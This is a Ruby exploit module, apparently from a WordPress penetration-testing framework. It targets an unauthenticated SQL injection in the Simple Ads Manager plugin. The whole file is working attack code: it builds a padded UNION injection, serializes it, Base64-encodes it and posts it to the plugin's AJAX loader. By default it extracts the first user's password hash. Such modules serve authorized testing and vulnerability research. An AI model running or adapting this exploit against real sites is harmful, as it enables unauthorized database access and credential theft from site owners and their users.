# frozen_string_literal: true

require 'base64'
require 'json'

class Wpxf::Auxiliary::SimpleAdsManagerSqlInjection < Wpxf::Module
  include Wpxf

  def initialize
    super

    update_info(
      name: 'Simple Ads Manager SQL Injection',
      desc: 'This module exploits an SQL injection in version '\
            '2.9.5.116 of the Simple Ads Manager plugin which '\
            'allows unauthenticated users to view a single field of '\
            'data at a time, such as e-mails and passwords.',
      author: [
        'Kacper Szurek', # Vulnerability discovery
        'rastating'      # WPXF module
      ],
      references: [
        ['URL', 'http://security.szurek.pl/simple-ads-manager-294116-sql-injection.html'],
        ['WPVDB', '8357']
      ],
      date: 'Dec 30 2015'
    )

    register_options([
      StringOption.new(
        name: 'sql',
        desc: 'The SQL query to execute (maximum of one field selected)',
        default: 'select user_pass from wp_users where ID = 1',
        required: true
      )
    ])
  end

  def sql
    normalized_option_value('sql')
  end

  def valid_query?
    match = sql.match(/^select\s+(.+)\s+from.+/i)
    if match.nil?
      emit_error 'Could not determine the field list from the query', true
      return false
    end

    if match[1].include?(',') || match[1].include?('*')
      emit_warning 'More than one field appears to have been selected. This '\
                   'can cause the query to silently fail and return no data'
    end

    true
  end

  def compile_sqli
    padding = ''
    (1..22).each { |i| padding += ",#{Utility::Text.rand_numeric(rand(1..3))}" }
    sql.gsub(/^(select\s+)(.+)(\s+from.+)/i, ") UNION (\\1\\2#{padding}\\3")
  end

  def check
    check_plugin_version_from_readme('simple-ads-manager', '2.9.5.118', '2.9.4.116')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_plugins, 'simple-ads-manager', 'sam-ajax-loader.php')
  end

  def encoded_injection
    compiled_sqli = compile_sqli
    emit_info "Compiled SQL: #{compiled_sqli}", true
    serialized = "a:4:{s:2:\"WC\";s:3:\"1=0\";s:3:\"WCT\";s:0:\"\";s"\
                 ":3:\"WCW\";s:#{compiled_sqli.bytesize}:\"#{compiled_sqli}\""\
                 ";s:4:\"WC2W\";s:0:\"\";}"
    Base64.strict_encode64(serialized)
  end

  def run
    return false unless super

    emit_info 'Validating SQL...'
    unless valid_query?
      emit_error 'Specified query appears to be invalid'
      return false
    end

    emit_info 'Preparing injection...'
    body = {
      'action' => 'load_place',
      'id' => '0',
      'pid' => '1',
      'wc' => encoded_injection
    }

    emit_info 'Executing request...'
    res = execute_post_request(url: vulnerable_url, body: body)

    if res.nil? || res.timed_out?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200 || res.body.strip.empty?
      emit_info "Response code: #{res.code}", true
      emit_info "Response body: #{res.body}", true
      emit_error 'Failed to execute request'
      return false
    end

    emit_info 'Parsing response...'
    begin
      json = JSON.parse(res.body)
      emit_success "Query result: #{json['pid']}"
    rescue JSON::ParserError
      emit_error 'Could not parse the response'
      return false
    end

    true
  end
end
